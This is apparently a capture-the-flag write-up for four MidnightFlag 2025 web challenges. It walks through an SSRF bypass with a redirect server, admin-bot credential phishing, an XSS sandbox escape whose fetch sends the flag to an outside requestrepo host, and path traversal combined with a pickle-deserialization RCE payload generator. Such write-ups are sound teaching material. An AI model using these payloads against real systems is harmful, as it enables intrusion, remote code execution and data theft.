---
# System prepended metadata

title: midnightCTF2025_web-writeup

---

https://github.com/MidnightFlag/qualifiers-challenges-2025/tree/master/Web

# Disparity

We need to get SSRF to the backend to get flag.

```
<?php

ini_set("default_socket_timeout", 5);

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    die("/url.php is only accessible with POST");
}

if (!isset($_POST['url']) || strlen($_POST['url']) === 0) {
    die("Parameter 'url' is mandatory");
}

$url = $_POST['url'];

try {
    $parsed = parse_url($url);
    var_dump($parsed);
} catch (Exception $e){
    die("Failed to parse URL");
}

if (strlen($parsed['host']) === 0){
    die("Host can not be empty");
}

if ($parsed['scheme'] !== "http"){
    die("HTTP is the only option");
}

// Prevent DNS rebinding
try {
    $ip = gethostbyname($parsed['host']);
} catch(Exception $e) {
    die("Failed to resolve IP");
}

// Prevent from fetching localhost
if (preg_match("/^127\..*/",$ip) || $ip === "0.0.0.0"){
    die("Can't fetch localhost");
}

$url =  str_replace($parsed['host'],$ip,$url);
// Fetch url
try {
    ob_start();
    $len_content = readfile($url);
    $content = ob_get_clean();
} catch (Exception $e) {
    die("Failed to request URL");
}

if ($len_content > 0) {
    echo $content;
} else {
    die("Empty reply from server");
}

?>
```
> front_end - url.php

```
<?php

if ($_SERVER['HTTP_HOST'] === "localhost:8080"){
    echo getenv('FLAG');
} else {
    echo "You are not allowed to do that";
}
?>
```
> back_end - flag.php

We need to bypass the `preg_match` localhost ip check. Here we can see that the code uses `parse_url` function to separate the `scheme` and `host`. But according to the [php documentation](https://www.php.net/manual/en/function.parse-url.php).

![image](https://hackmd.io/_uploads/BJ5L5aoC1l.png)

So this function is possible to bypass using the url `http://localhost:8080:80/flag.php`

![image](https://hackmd.io/_uploads/HkrJoao0kx.png)

The host is consider as `localhost:8080`, then the `gethostbyname` function leave as it is. Therefore after `str_replace($parsed['host'],$ip,$url)`, it is still `http://localhost:8080:80/flag.php`. Finally, the `readfile` function only consider `http://localhost:8080/flag.php` and fetch the flag.


### Unintended

We can use an external redirector such as httpbin https://httpbin.org/#/Redirects/get_redirect_to to redirect to `http://localhost:8080/flag.php`. Or we can host own flask server.

```
from flask import Flask, redirect, request, Response

app = Flask(__name__)

@app.route('/')
def ssrf():
    headers = {
        'Location': 'http://localhost:8080/flag.php'
    }
    return Response('', status=302, headers=headers)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
```

# postplayground

In this challenge, we need to get admin password in order to access `/api/flag`.

![image](https://hackmd.io/_uploads/SJa110s0kl.png)

We can see that in the route `/bot`, the admin bot will go to the url base on `origin` header, so it's easy to make a simple html to steal password of admin.

Create a file `login` in requestrepo.
```
<html>

<form action="/creds" method="post">
<input type="text" name="user" id="username">
<input type="text" name="pass" id="password">
<input id="submit" type="submit" value="Submit">
</form> 
</html>
```

Change origin to requestrepo.
![Screenshot 2025-04-15 193150](https://hackmd.io/_uploads/BJz0W0oCkx.png)

Got the admin password.
![image](https://hackmd.io/_uploads/H16bMCoRkl.png)

# postplayground_revenge

In this challenge the url had hard fix to `http://127.0.0.1:3000`, so we need to find a xss sink.

![image](https://hackmd.io/_uploads/ryCrQRiCJg.png)

We find that `render_frame.js` is use to handle varibles, take a look at `parseAndExec` function, the `exec_frame` postMessage to somewhere.

![image](https://hackmd.io/_uploads/SyuV5Rj01e.png)


In `render_frame.html`, we found the `exec_frame` function.

![image](https://hackmd.io/_uploads/ryq-4Ci0kx.png)

```
<script>
    function matchAndExtract(match, url) {
        var rx = new RegExp(`{{${match}}}`,"g");
        var arr = rx.exec(url);
        return arr !== null ? arr[0] : false; 
    }

    function templateUrl(url, variables){
        let src = `let url = "${url}";\n`;
        for(const key in variables) {
            if(matchAndExtract(key, url)) {
                src += `url = url.replace("{{${key}}}","${variables[key]}");\n`;
            }
        }
        var mask = {};
        for (p in this)
            mask[p] = undefined;
        src += "return url;"
        return (new Function( "with(this) { " + src + "}")).call(mask);
    }

    function sanitizeUrl(url) {
        return url.replaceAll('"',"").replaceAll("`","");
    }

    window.addEventListener("message", async (event) => {
        let url_to_fetch = "";
        if(typeof(event.data) === "object" && typeof(event.data.vars) == "object" && event.data.vars.url !== undefined && event.data.vars.originUrl !== undefined) {
            let url = sanitizeUrl(event.data.vars.url);
            if(typeof(event.data.vars.variables) === "object") {
                if(url.includes("{{") && url.includes("}}")) {
                    url_to_fetch = templateUrl(url, event.data.vars.variables);
                } else {
                    url_to_fetch = url;
                }
            } else {
                url_to_fetch = url;
            }
        }
        if(url_to_fetch) {
            let fetch_options = {
                method: "GET",
                headers: {}
            };
            if(event.data.vars.method !== undefined && typeof(event.data.vars.method) === "string") {
                fetch_options["method"] = event.data.vars.method;
            }
            if(fetch_options["method"] != "GET" && event.data.vars.body !== undefined && typeof(event.data.vars.body) === "object") {
                fetch_options["body"] = event.data.vars.body;
            }
            if(event.data.vars.headers !== undefined && typeof(event.data.vars.headers) === "object") {
                fetch_options["headers"] = event.data.vars.headers;
            }
            let fetch_res = await fetch(url_to_fetch, fetch_options)
            .then(async (resp) => {
                return {"status":true, "result": await resp.text()};
            })
            .catch((err) => {
                return {"status":false, "err":err};
            });
            window.top.postMessage({"action":"result","vars":fetch_res}, `http://${event.data.vars.originUrl}`);
        } else {
            window.top.postMessage({"action":"result","vars":"Something wrong happend."}, `http://${event.data.vars.originUrl}`);
        }
    });
</script>
```

In the `templateUrl` function, we found we can control the `variables`, obviously this is the sink we want to find. 
![image](https://hackmd.io/_uploads/ByRcVAiRJg.png)

We need to use `globalThis` to bypass the sandbox.

Create varible with varible name `xss` and value is `x");globalThis.alert(1)//`

![image](https://hackmd.io/_uploads/rkCWu0sCJl.png)

And the url `http://test/{{xss}}` is use to trigger template function.

![image](https://hackmd.io/_uploads/Sy5_dCi0yl.png)

Now, we have successfully identify the xss sink. But the xss is in `static1.midnightflag.fr` subdomain, we need to find a way to bypass SOP to get flag in `chall.midnightflag.fr` subdomain. Analyze further, in `main.js` we found

![image](https://hackmd.io/_uploads/BkTFXCj0yl.png)

It's does not check the origin. And `event.data` is posted to 
![image](https://hackmd.io/_uploads/Bkd-hRs0kg.png)

A list of action, but the most interesting one is

![image](https://hackmd.io/_uploads/HyAIn0sCke.png)

Therefore, we have an idea that we will abuse the xss sink found earlier to post `load_scripts` event. We put a js in requestrepo to fetch the flag. We can use `@` to bypass `location.origin`.

Payload: `x");globalThis.window.top.postMessage({"action":"load_scripts","vars":{"srcs":["@mk2r7rg4.requestrepo.com/"]}},"*");//`

On requestrepo

```
###TO_EVAL###

fetch('http://localhost:3000/api/flag').then(r=>r.text()).then(b=>fetch('http://mk2r7rg4.requestrepo.com/leak',{method:'POST',body:b}));

###EOF_EVAL###
```

# futurupload

In this challenge, we need to perform path travelsal to overwrite flask session in order to achieve RCE.

### path travelsal

In the `/upload` route, we find that, the os.path.join does not contain `filename` parameter `full_folder = os.path.normpath(os.path.join(base_path, folder))`. So it's possible to inject `../` to `filename`.
![image](https://hackmd.io/_uploads/HJJmgknAyl.png)

We dive into mimetypes library, we found `data` scheme

![image](https://hackmd.io/_uploads/SJ87zJ30kl.png)

We have the payload for `filename` like `data:image/jpeg,/../../../../../app/user_files/xxx`

### rce
Look into [flask](https://github.com/pallets-eco/flask-session/blob/41e2771055e1e533da6cdb84efea68751d0fe618/src/flask_session/sessions.py#L326), this is the class to handle file-based flask session

It uses the cachelib library.
![image](https://hackmd.io/_uploads/BJGXNJn0kg.png)

![image](https://hackmd.io/_uploads/ryGI4JhC1l.png)


In the [cachelib](https://github.com/pallets-eco/cachelib/blob/18bb52cc29a07f7f0d7992d682d769f3497851b4/src/cachelib/file.py#L203)

![image](https://hackmd.io/_uploads/HJEIrJhA1e.png)

the [serializers](https://github.com/pallets-eco/cachelib/blob/main/src/cachelib/serializers.py)

![image](https://hackmd.io/_uploads/r10kLynAyl.png)


In general, if the session file contain first 4 bytes `\x00\x00\x00\x00`, it will pickle deserlize the session file.

So far, the game is ez, we can trigger rce using.

```
import pickle
import base64

def gen(command):
    class Exploit:
        def __reduce__(self):
            return (exec, ("__import__('os').system('{}')".format(command),))
    Pickle = Exploit()
    return pickle.dumps(Pickle)

payload = b"\x00" * 4 + gen('')
print(base64.b64encode(payload).decode('utf-8'))
```

# Exploit

We can see the `__wz_cache_count` is always in file-based flask session folder https://github.com/pallets-eco/cachelib/blob/9a4de4df1bce035d27c93a34608a8af4413d5b59/src/cachelib/file.py#L50

![image](https://hackmd.io/_uploads/Hk6nFJ20ke.png)

Then it gets md5 hash so it save as `2029240f6d1128be89ddc32729463129` in `flask_session` folder

Create folder `data:image/jpeg,` and `xxx`

![image](https://hackmd.io/_uploads/SkCShy3AJx.png)

![image](https://hackmd.io/_uploads/r1Ozpy30yg.png)

Use this to generate pickle payload
```
import pickle
import base64

def gen(command):
    class Exploit:
        def __reduce__(self):
            return (exec, ("__import__('os').system('{}')".format(command),))
    Pickle = Exploit()
    return pickle.dumps(Pickle)

payload = b"\x00" * 4 + gen('/getflag>/app/user_files/xxx/flag.txt')
print(base64.b64encode(payload).decode('utf-8'))
```

Exfiltrate

![image](https://hackmd.io/_uploads/HkOm21nCkg.png)

```
folder=x&filename=data:image/jpeg,/../../../../../app/flask_session/2029240f6d1128be89ddc32729463129&content=AAAAAIAElYQAAAAAAAAAjAhidWlsdGluc5SMBGV4ZWOUk5SMaF9faW1wb3J0X18oJ29zJykuc3lzdGVtKCdlY2hvIGxtYW8gPiAvYXBwL3VzZXJfZmlsZXMvZjkxZDlkYzUtMTc0OC00M2E5LWI1ZGMtZTQ3NGI4ZTY1YWNjL3h4eHgvZmZmLnR4dCcplIWUUpQu
```

Then navigate to xxx folder to retrieve flag.